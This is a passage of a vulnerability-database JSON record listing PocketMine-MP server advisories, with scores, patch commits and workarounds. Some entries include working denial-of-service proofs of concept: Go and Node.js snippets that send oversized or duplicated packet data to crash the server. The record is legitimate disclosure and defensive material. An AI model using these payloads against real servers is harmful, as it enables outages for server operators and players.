property name is logged without any length limitations or sanitization, which can also be abused for LogDoS.\n\nThis may be used to spam the log/console, waste CPU time serializing the offending structure, and potentially to crash the server entirely.\n\nThis happens because the JsonMapper instance used to process the JWT body is configured to warn on unexpected properties instead of rejecting them outright. While this behaviour increases flexibility for random changes introduced by Microsoft, it also creates vulnerabilities if not handled carefully.\n\nThis vulnerability affects PocketMine-MP servers exposed to a public network where unknown actors may have access.\n\n### PoC\n1. Connect to the server using a custom client.\n\n2. Send a Minecraft `LoginPacket` containing an unexpected JSON property (e.g., invalid_key) within the ClientData.\n\n3. Set the value of invalid_key to a highly recursive or massive object structure (e.g., an array containing millions of elements or deeply nested arrays).\n\n4. The server hits the `warnUndefinedJsonPropertyHandler`, which attempts to var_export the malicious object, leading to an Out-of-Memory crash.\n\n```\nA := make([]interface{}, 1)\n\tptr := &A\n\tfor i := 0; i < 500; i++ {\n\t\tnext := make([]interface{}, 1000)\n\t\t(*ptr)[0] = next\n\t\tptr = &next\n\t}\n\tdata := make([]int, 2000000)\n\tfor i := 0; i < 100; i++ {\n\t\tdata[i] = i\n\t}\n\t(*ptr)[0] = data\n\td.PlayFabID = A\n ```\n\n### Patches\nThe issue was addressed in https://github.com/pmmp/PocketMine-MP/commit/87d1c0cea09d972fd4c2fafb84dac2ecab7649f0 by removing the relevant `var_export` and limiting the length of the logged property name to 80 characters.\n\n### Workarounds\nPlugins can handle `DataPacketReceiveEvent` to capture `LoginPacket`, and pre-process the clientData JWT to ensure it doesn't have any unusual properties in it. This can be achieved using `JsonMapper` (see the original affected code below) and setting the `bExceptionOnUndefinedProperty` flag to `true`. A `JsonMapper_Exception` will be thrown if the JWT is problematic.\n\nHowever, it's important to caveat that this approach may cause login failures if any unexpected properties appear out of the blue in future versions (which has happened in the past).","references":[{"reference_url":"https://github.com/pmmp/PocketMine-MP","reference_id":"","reference_type":"","scores":[{"value":"7.5","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"},{"value":"HIGH","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/pmmp/PocketMine-MP"},{"reference_url":"https://github.com/pmmp/PocketMine-MP/blob/5.41.0/src/network/mcpe/handler/LoginPacketHandler.php#L288-L302","reference_id":"","reference_type":"","scores":[{"value":"7.5","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"},{"value":"HIGH","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/pmmp/PocketMine-MP/blob/5.41.0/src/network/mcpe/handler/LoginPacketHandler.php#L288-L302"},{"reference_url":"https://github.com/pmmp/PocketMine-MP/blob/5.41.0/src/network/mcpe/handler/LoginPacketHandler.php#L333-L349","reference_id":"","reference_type":"","scores":[{"value":"7.5","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"},{"value":"HIGH","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/pmmp/PocketMine-MP/blob/5.41.0/src/network/mcpe/handler/LoginPacketHandler.php#L333-L349"},{"reference_url":"https://github.com/pmmp/PocketMine-MP/commit/87d1c0cea09d972fd4c2fafb84dac2ecab7649f0","reference_id":"","reference_type":"","scores":[{"value":"7.5","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"},{"value":"HIGH","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/pmmp/PocketMine-MP/commit/87d1c0cea09d972fd4c2fafb84dac2ecab7649f0"},{"reference_url":"https://github.com/pmmp/PocketMine-MP/security/advisories/GHSA-h6rj-3m53-887h","reference_id":"","reference_type":"","scores":[{"value":"7.5","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"},{"value":"HIGH","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/pmmp/PocketMine-MP/security/advisories/GHSA-h6rj-3m53-887h"},{"reference_url":"https://github.com/advisories/GHSA-h6rj-3m53-887h","reference_id":"GHSA-h6rj-3m53-887h","reference_type":"","scores":[],"url":"https://github.com/advisories/GHSA-h6rj-3m53-887h"}],"fixed_packages":[{"url":"http://public2.vulnerablecode.io/api/packages/374080?format=json","purl":"pkg:composer/pocketmine/pocketmine-mp@5.41.1","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-5ek8-52ek-sqc8"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:composer/pocketmine/pocketmine-mp@5.41.1"}],"aliases":["GHSA-h6rj-3m53-887h"],"risk_score":null,"exploitability":null,"weighted_severity":null,"resource_url":"http://public2.vulnerablecode.io/vulnerabilities/VCID-s99k-v9k6-tkhe"},{"url":"http://public2.vulnerablecode.io/api/vulnerabilities/208555?format=json","vulnerability_id":"VCID-u9mw-pj6c-b3c4","summary":"Improperly checked metadata on tools/armour itemstacks received from the client","references":[{"reference_url":"https://github.com/pmmp/PocketMine-MP","reference_id":"","reference_type":"","scores":[{"value":"7.5","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"},{"value":"HIGH","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/pmmp/PocketMine-MP"},{"reference_url":"https://github.com/pmmp/PocketMine-MP/commit/c8e1cfcbee4945fd4b63d2a7e96025c59744d4f1","reference_id":"","reference_type":"","scores":[{"value":"7.5","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"},{"value":"HIGH","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/pmmp/PocketMine-MP/commit/c8e1cfcbee4945fd4b63d2a7e96025c59744d4f1"},{"reference_url":"https://github.com/advisories/GHSA-46c5-pfj8-fv65","reference_id":"GHSA-46c5-pfj8-fv65","reference_type":"","scores":[{"value":"HIGH","scoring_system":"cvssv3.1_qr","scoring_elements":""}],"url":"https://github.com/advisories/GHSA-46c5-pfj8-fv65"},{"reference_url":"https://github.com/pmmp/PocketMine-MP/security/advisories/GHSA-46c5-pfj8-fv65","reference_id":"GHSA-46c5-pfj8-fv65","reference_type":"","scores":[{"value":"7.5","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"},{"value":"HIGH","scoring_system":"cvssv3.1_qr","scoring_elements":""},{"value":"HIGH","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/pmmp/PocketMine-MP/security/advisories/GHSA-46c5-pfj8-fv65"}],"fixed_packages":[{"url":"http://public2.vulnerablecode.io/api/packages/19802?format=json","purl":"pkg:composer/pocketmine/pocketmine-mp@4.2.4","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-21se-t8q9-yudv"},{"vulnerability":"VCID-48ue-wv63-4ugn"},{"vulnerability":"VCID-512n-rhbr-cqcy"},{"vulnerability":"VCID-5ek8-52ek-sqc8"},{"vulnerability":"VCID-5nfj-srxx-8fh7"},{"vulnerability":"VCID-b96w-azrg-sqah"},{"vulnerability":"VCID-drn3-hfmz-mbgj"},{"vulnerability":"VCID-et56-qjpe-2yd6"},{"vulnerability":"VCID-fhba-frv3-nbak"},{"vulnerability":"VCID-k8xn-bve5-duh7"},{"vulnerability":"VCID-nd23-6jpk-qkdx"},{"vulnerability":"VCID-qgtx-5npy-q7c4"},{"vulnerability":"VCID-s99k-v9k6-tkhe"},{"vulnerability":"VCID-v3u1-9zqz-s7h9"},{"vulnerability":"VCID-vdbj-qe43-jqhy"},{"vulnerability":"VCID-vteg-jcfz-4qhs"},{"vulnerability":"VCID-ybn8-byz7-gqb5"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:composer/pocketmine/pocketmine-mp@4.2.4"}],"aliases":["GHSA-46c5-pfj8-fv65","GMS-2022-458"],"risk_score":null,"exploitability":null,"weighted_severity":null,"resource_url":"http://public2.vulnerablecode.io/vulnerabilities/VCID-u9mw-pj6c-b3c4"},{"url":"http://public2.vulnerablecode.io/api/vulnerabilities/360699?format=json","vulnerability_id":"VCID-vdbj-qe43-jqhy","summary":"PocketMine-MP allows malicious client data to waste server resources due to lack of limits for explode()\n### Impact\nDue to lack of limits by default in the [`explode()`](https://www.php.net/manual/en/function.explode.php) function, malicious clients were able to abuse some packets to waste server CPU and memory.\n\nThis is similar to a previous security issue published in https://github.com/pmmp/PocketMine-MP/security/advisories/GHSA-gj94-v4p9-w672, but with a wider impact, including but not limited to:\n\n- Sign editing\n- LoginPacket JWT parsing\n- Command parsing\n\nHowever, the estimated impact of these issues is low, due to other limits such as the packet decompression limit.\n\n### Patches\nThe issue was fixed in 5.25.2 via d0d84d4c5195fb0a68ea7725424fda63b85cd831.\n\nA custom PHPStan rule has also been introduced to the project, which will henceforth require that all calls to `explode()` within the codebase must specify the `limit` parameter.\n\n### Workarounds\nNo simple way to fix this.\nGiven that sign editing is the easiest way this could be exploited, workarounds could include plugins pre-processing `BlockActorDataPacket` to check that the incoming text doesn't have more than 4 parts when split by `\\n`.","references":[{"reference_url":"https://github.com/pmmp/PocketMine-MP","reference_id":"","reference_type":"","scores":[{"value":"5.3","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/pmmp/PocketMine-MP"},{"reference_url":"https://github.com/pmmp/PocketMine-MP/commit/d0d84d4c5195fb0a68ea7725424fda63b85cd831","reference_id":"","reference_type":"","scores":[{"value":"5.3","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/pmmp/PocketMine-MP/commit/d0d84d4c5195fb0a68ea7725424fda63b85cd831"},{"reference_url":"https://github.com/pmmp/PocketMine-MP/security/advisories/GHSA-g274-c6jj-h78p","reference_id":"","reference_type":"","scores":[{"value":"5.3","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/pmmp/PocketMine-MP/security/advisories/GHSA-g274-c6jj-h78p"},{"reference_url":"https://github.com/advisories/GHSA-g274-c6jj-h78p","reference_id":"GHSA-g274-c6jj-h78p","reference_type":"","scores":[],"url":"https://github.com/advisories/GHSA-g274-c6jj-h78p"},{"reference_url":"https://github.com/pmmp/PocketMine-MP/security/advisories/GHSA-gj94-v4p9-w672","reference_id":"GHSA-gj94-v4p9-w672","reference_type":"","scores":[{"value":"5.3","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/pmmp/PocketMine-MP/security/advisories/GHSA-gj94-v4p9-w672"}],"fixed_packages":[{"url":"http://public2.vulnerablecode.io/api/packages/377949?format=json","purl":"pkg:composer/pocketmine/pocketmine-mp@5.25.2","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-5ek8-52ek-sqc8"},{"vulnerability":"VCID-5nfj-srxx-8fh7"},{"vulnerability":"VCID-nd23-6jpk-qkdx"},{"vulnerability":"VCID-s99k-v9k6-tkhe"},{"vulnerability":"VCID-vteg-jcfz-4qhs"},{"vulnerability":"VCID-ybn8-byz7-gqb5"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:composer/pocketmine/pocketmine-mp@5.25.2"}],"aliases":["GHSA-g274-c6jj-h78p"],"risk_score":null,"exploitability":null,"weighted_severity":null,"resource_url":"http://public2.vulnerablecode.io/vulnerabilities/VCID-vdbj-qe43-jqhy"},{"url":"http://public2.vulnerablecode.io/api/vulnerabilities/360532?format=json","vulnerability_id":"VCID-vteg-jcfz-4qhs","summary":"PocketMine-MP `ResourcePackDataInfoPacket` amplification vulnerability due to lack of resource pack sequence status checking\n### Summary\n\nA denial-of-service / out-of-memory vulnerability exists in the `STATUS_SEND_PACKS` handling of `ResourcePackClientResponsePacket`.\nPocketMine-MP processes the `packIds` array without verifying that all entries are unique.\nA malicious (non-standard) Bedrock client can send multiple duplicate valid pack UUIDs in the same `STATUS_SEND_PACKS` packet, causing the server to send the same pack multiple times. This can quickly exhaust memory and crash the server.\nSeverity: **High** — Remote DoS from an authenticated client.\n\n---\n\n### Details\n\nRelevant code (simplified):\n\n```php\ncase ResourcePackClientResponsePacket::STATUS_SEND_PACKS:\n    foreach($packet->packIds as $uuid){\n        $splitPos = strpos($uuid, \"_\");\n        if($splitPos !== false){\n            $uuid = substr($uuid, 0, $splitPos);\n        }\n        $pack = $this->getPackById($uuid);\n        if(!($pack instanceof ResourcePack)){\n            $this->disconnectWithError(\"Unknown pack $uuid requested...\");\n            return false;\n        }\n        $this->session->sendDataPacket(ResourcePackDataInfoPacket::create(\n            $pack->getPackId(),\n            self::PACK_CHUNK_SIZE,\n            (int) ceil($pack->getPackSize() / self::PACK_CHUNK_SIZE),\n            $pack->getPackSize(),\n            $pack->getSha256(),\n            false,\n            ResourcePackType::RESOURCES\n        ));\n    }\n    break;\n```\n\n**Root cause:**\n\n* The `packIds` array is taken directly from the client packet and processed as-is.\n* There is no check to ensure that all requested packs are unique.\n* A malicious client can craft a `STATUS_SEND_PACKS` packet with many duplicates of a valid UUID.\n* Each duplicate results in the server re-sending the same pack, consuming additional memory.\n\n**Why this is unexpected:**\n\n* Mojang's official clients never send duplicates in `packIds`.\n* PocketMine assumes the client is well-behaved, but an attacker can bypass this with a custom client.\n\n---\n\n**Suggested fix:**\nBefore sending packs:\n\n1. Remove duplicates from the incoming `packIds` array.\n2. If the difference between the original count and unique count exceeds a small threshold (e.g. > 2 duplicates), immediately disconnect the client with an error.\n3. Track which packs have already been sent to this player, and skip any that have already been transferred.\n\n```php\n$alreadySent = $this->packsSent ?? [];\n\n// Remove duplicates\n$uniquePackIds = array_unique($packet->packIds);\n\n// Detect abuse\nif(count($packet->packIds) - count($uniquePackIds) > 2){\n    $this->disconnectWithError(\"Too many duplicate resource pack requests\");\n    return false;\n}\n\nforeach($uniquePackIds as $uuid){\n    if(in_array($uuid, $alreadySent, true)){\n        continue; // Skip packs already sent to this player\n    }\n    // existing code...\n    $alreadySent[] = $uuid;\n}\n\n$this->packsSent = $alreadySent;\n```\n\n---\n\n### PoC\n\n1. Join a PocketMine-MP server with at least one resource pack enabled.\n2. Using a custom Bedrock client, send a `ResourcePackClientResponsePacket` with:\n\n   * `status = STATUS_SEND_PACKS`\n   * `packIds` = many duplicates of a known valid pack UUID.\n\nExample Node.js PoC (requires `bedrock-protocol` and a valid `PACK_UUID`):\n\n```js\nimport { createClient } from 'bedrock-protocol';\n\nconst host = '127.0.0.1';\nconst port = 19132;\nconst username = 'test';\nconst PACK_UUID = '00000000-0000-0000-0000-000000000000'; // replace with a real UUID\nconst DUPLICATES = 1000;\n\nconst client = createClient({\n    host,\n    port,\n    username,\n    offline: true\n});\n\nclient.on('spawn', () => {\n    console.log('[*] Sending duplicate pack request...');\n    client.queue('resource_pack_client_response', {\n        response_status: 'send_packs',\n        resourcepackids: Array(DUPLICATES).fill(PACK_UUID)\n    });\n});\n```\n\n---\n\n### Impact\n\n* **Type:** Remote Denial of Service / Memory Exhaustion\n* **Who is impacted:** Any PocketMine-MP server with resource packs enabled\n* **Requirements:** Attacker must connect to the server (authenticated player)\n* **Effect:** Server memory rapidly increases, leading to freeze or crash","references":[{"reference_url":"https://github.com/pmmp/PocketMine-MP","reference_id":"","reference_type":"","scores":[{"value":"8.7","scoring_system":"cvssv4","scoring_elements":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"},{"value":"HIGH","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/pmmp/PocketMine-MP"},{"reference_url":"https://github.com/pmmp/PocketMine-MP/commit/c417ecd30d20520227b15e09eda87db492ab0a6a","reference_id":"","reference_type":"","scores":[{"value":"8.7","scoring_system":"cvssv4","scoring_elements":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"},{"value":"HIGH","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/pmmp/PocketMine-MP/commit/c417ecd30d20520227b15e09eda87db492ab0a6a"},{"reference_url":"https://github.com/pmmp/PocketMine-MP/commit/e375437439df51f7862b6b98318394643fcd6724","reference_id":"","reference_type":"","scores":[{"value":"8.7","scoring_system":"cvssv4","scoring_elements":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"},{"value":"HIGH","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/pmmp/PocketMine-MP/commit/e375437439df51f7862b6b98318394643fcd6724"},{"reference_url":"https://github.com/pmmp/PocketMine-MP/releases/tag/5.32.1","reference_id":"","reference_type":"","scores":[{"value":"8.7","scoring_system":"cvssv4","scoring_elements":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"},{"value":"HIGH","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/pmmp/PocketMine-MP/releases/tag/5.32.1"},{"reference_url":"https://github.com/pmmp/PocketMine-MP/security/advisories/GHSA-fqqv-56h5-f57g","reference_id":"","reference_type":"","scores":[{"value":"8.7","scoring_system":"cvssv4","scoring_elements":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"},{"value":"HIGH","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/pmmp/PocketMine-MP/security/advisories/GHSA-fqqv-56h5-f57g"},{"reference_url":"https://github.com/advisories/GHSA-fqqv-56h5-f57g","reference_id":"GHSA-fqqv-56h5-f57g","reference_type":"","scores":[],"url":"https://github.com/advisories/GHSA-fqqv-56h5-f57g"}],"fixed_packages":[{"url":"http://public2.vulnerablecode.io/api/packages/376632?format=json","purl":"pkg:composer/pocketmine/pocketmine-mp@5.32.1","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-5ek8-52ek-sqc8"},{"vulnerability":"VCID-5nfj-srxx-8fh7"},{"vulnerability":"VCID-nd23-6jpk-qkdx"},{"vulnerability":"VCID-s99k-v9k6-tkhe"},{"vulnerability":"VCID-ybn8-byz7-gqb5"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:composer/pocketmine/pocketmine-mp@5.32.1"}],"aliases":["GHSA-fqqv-56h5-f57g"],"risk_score":null,"exploitability":null,"weighted_severity":null,"resource_url":"http://public2.vulnerablecode.io/vulnerabilities/VCID-vteg-jcfz-4qhs"},{"url":"http://public2.vulnerablecode.io/api/vulnerabilities/359783?format=json","vulnerability_id":"VCID-ybn8-byz7-gqb5","summary":"PocketMine-MP: JSON decoding of unlimited size large arrays/objects in ModalFormResponse Handling\n### Impact\n\nThe server does not meaningfully limit the size of the JSON payload in `ModalFormResponsePacket`. This can be abused by an attacker to waste memory and CPU on an affected server, e.g. by sending arrays with millions of elements.\n\nThe player must have a full session on the server (i.e. spawned in the world) to exploit this, as form responses are not handled unless the player is in game.\n\n### Patches\nThe issue was fixed in two parts:\n- cef1088341e40ee7a6fa079bca47a84f3524d877 limits the size of a single form response to 10 KB, which is well above expected size, but low enough to prevent abuse\n- f983f4f66d5e72d7a07109c8175799ab0ee771d5 avoids decoding the form response if there is no form associated with the given ID\n\n### Workarounds\nThis issue can be worked around in a plugin using `DataPacketReceiveEvent` by:\n- checking the max size of the `formData` field\n- making sure the form ID is not repeated\n\nHowever, a full workaround for the issue would require reflection to access the `Player->forms` property, which is not exposed via any accessible API prior to 5.39.2.\n\n### PoC\n\n1. Join a PocketMine-MP server as a regular player (no special permissions needed).\n2. Use a modified client or packet-sending script to send a `ModalFormResponsePacket` with:\n\n   * Any non-existent `formId`\n   * `formData` containing a massive JSON array (e.g., 10+ MB payload).\n3. The server will attempt to parse the JSON and may freeze or become unresponsive.\n\nExample NodeJS pseudocode:\n\n```javascript\nimport { createClient } from 'bedrock-protocol';\n\nconst host = '127.0.0.1';\nconst port = 19132;\nconst username = 'Test';\n\nconst client = createClient({\n  host,\n  port,\n  username,\n  offline: true\n});\n\nconst hugePayload = '[' + '0,'.repeat(5_000_000) + '0]';\n\nclient.on('spawn', () => {\n  console.log('[*] Connected & spawned. Sending malicious packet...');\n\n  client.write('modal_form_response', {\n    formId: 9999,       // Form inexistant\n    formData: hugePayload // JSON énorme\n  });\n\n  console.log('[*] Packet sent. The server should start freezing shortly.');\n});\n```","references":[{"reference_url":"https://github.com/pmmp/PocketMine-MP","reference_id":"","reference_type":"","scores":[{"value":"7.1","scoring_system":"cvssv4","scoring_elements":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"},{"value":"HIGH","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/pmmp/PocketMine-MP"},{"reference_url":"https://github.com/pmmp/PocketMine-MP/commit/cef1088341e40ee7a6fa079bca47a84f3524d877","reference_id":"","reference_type":"","scores":[{"value":"7.1","scoring_system":"cvssv4","scoring_elements":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"},{"value":"HIGH","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/pmmp/PocketMine-MP/commit/cef1088341e40ee7a6fa079bca47a84f3524d877"},{"reference_url":"https://github.com/pmmp/PocketMine-MP/commit/f983f4f66d5e72d7a07109c8175799ab0ee771d5","reference_id":"","reference_type":"","scores":[{"value":"7.1","scoring_system":"cvssv4","scoring_elements":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"},{"value":"HIGH","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/pmmp/PocketMine-MP/commit/f983f4f66d5e72d7a07109c8175799ab0ee771d5"},{"reference_url":"https://github.com/pmmp/PocketMine-MP/security/advisories/GHSA-788v-5pfp-93ff","reference_id":"","reference_type":"","scores":[{"value":"7.1","scoring_system":"cvssv4","scoring_elements":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"},{"value":"HIGH","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/pmmp/PocketMine-MP/security/advisories/GHSA-788v-5pfp-93ff"},{"reference_url":"https://github.com/advisories/GHSA-788v-5pfp-93ff","reference_id":"GHSA-788v-5pfp-93ff","reference_type":"","scores":[],"url":"https://github.com/advisories/GHSA-788v-5pfp-93ff"}],"fixed_packages":[{"url":"http://public2.vulnerablecode.io/api/packages/373465?format=json","purl":"pkg:composer/pocketmine/pocketmine-mp@5.39.2","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-5ek8-52ek-sqc8"},{"vulnerability":"VCID-s99k-v9k6-tkhe"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:composer/pocketmine/pocketmine-mp@5.39.2"}],"aliases":["GHSA-788v-5pfp-93ff"],"risk_score":null,"exploitability":null,"weighted_severity":null,"resource_url":"http://public2.vulnerablecode.io/vulnerabilities/VCID-ybn8-byz7-gqb5"},{"url":"http://public2.vulnerablecode.io/api/vulnerabilities/207391?format=json","vulnerability_id":"VCID-yqdh-k9nx-bqbh","summary":"Unchecked validity of Facing values in PlayerActionPacket","references":[{"reference_url":"https://github.com/pmmp/PocketMine-MP","reference_id":"","reference_type":"","scores":[{"value":"7.5","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"},{"value":"HIGH","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/pmmp/PocketMine-MP"},{"reference_url":"https://github.com/pmmp/PocketMine-MP/commit/f126479c37ff00a717a828f5271cf8e821d12d6c","reference_id":"","reference_type":"","scores":[{"value":"7.5","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"},{"value":"HIGH","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/pmmp/PocketMine-MP/commit/f126479c37ff00a717a828f5271cf8e821d12d6c"},{"reference_url":"https://github.com/advisories/GHSA-xh99-hw7h-wf63","reference_id":"GHSA-xh99-hw7h-wf63","reference_type":"","scores":[{"value":"HIGH","scoring_system":"cvssv3.1_qr","scoring_elements":""}],"url":"https://github.com/advisories/GHSA-xh99-hw7h-wf63"},{"reference_url":"https://github.com/pmmp/PocketMine-MP/security/advisories/GHSA-xh99-hw7h-wf63","reference_id":"GHSA-xh99-hw7h-wf63","reference_type":"","scores":[{"value":"7.5","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"},{"value":"HIGH","scoring_system":"cvssv3.1_qr","scoring_elements":""},{"value":"HIGH","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/pmmp/PocketMine-MP/security/advisories/GHSA-xh99-hw7h-wf63"}],"fixed_packages":[{"url":"http://public2.vulnerablecode.io/api/packages/18726?format=json","purl":"pkg:composer/pocketmine/pocketmine-mp@4.0.6","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-21se-t8q9-yudv"},{"vulnerability":"VCID-48ue-wv63-4ugn"},{"vulnerability":"VCID-512n-rhbr-cqcy"},{"vulnerability":"VCID-5ek8-52ek-sqc8"},{"vulnerability":"VCID-5nfj-srxx-8fh7"},{"vulnerability":"VCID-b96w-azrg-sqah"},{"vulnerability":"VCID-drn3-hfmz-mbgj"},{"vulnerability":"VCID-et56-qjpe-2yd6"},{"vulnerability":"VCID-fhba-frv3-nbak"},{"vulnerability":"VCID-k8xn-bve5-duh7"},{"vulnerability":"VCID-nd23-6jpk-qkdx"},{"vulnerability":"VCID-ntjs-ceva-8yas"},{"vulnerability":"VCID-qgtx-5npy-q7c4"},{"vulnerability":"VCID-s99k-v9k6-tkhe"},{"vulnerability":"VCID-u9mw-pj6c-b3c4"},{"vulnerability":"VCID-v3u1-9zqz-s7h9"},{"vulnerability":"VCID-vdbj-qe43-jqhy"},{"vulnerability":"VCID-vteg-jcfz-4qhs"},{"vulnerability":"VCID-ybn8-byz7-gqb5"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:composer/pocketmine/pocketmine-mp@4.0.6"}],"aliases":["GHSA-xh99-hw7h-wf63","GMS-2022-27"],"risk_score":null,"exploitability":null,"weighted_severity":null,"resource_url":"http://public2.vulnerablecode.io/vulnerabilities/VCID-yqdh-k9nx-bqbh"}],"fixing_vulnerabilities":[],"risk_score":null,"resource_url":"http://public2.vulnerablecode.io/packages/pkg:composer/pocketmine/pocketmine-mp@4.0.0-BETA4"}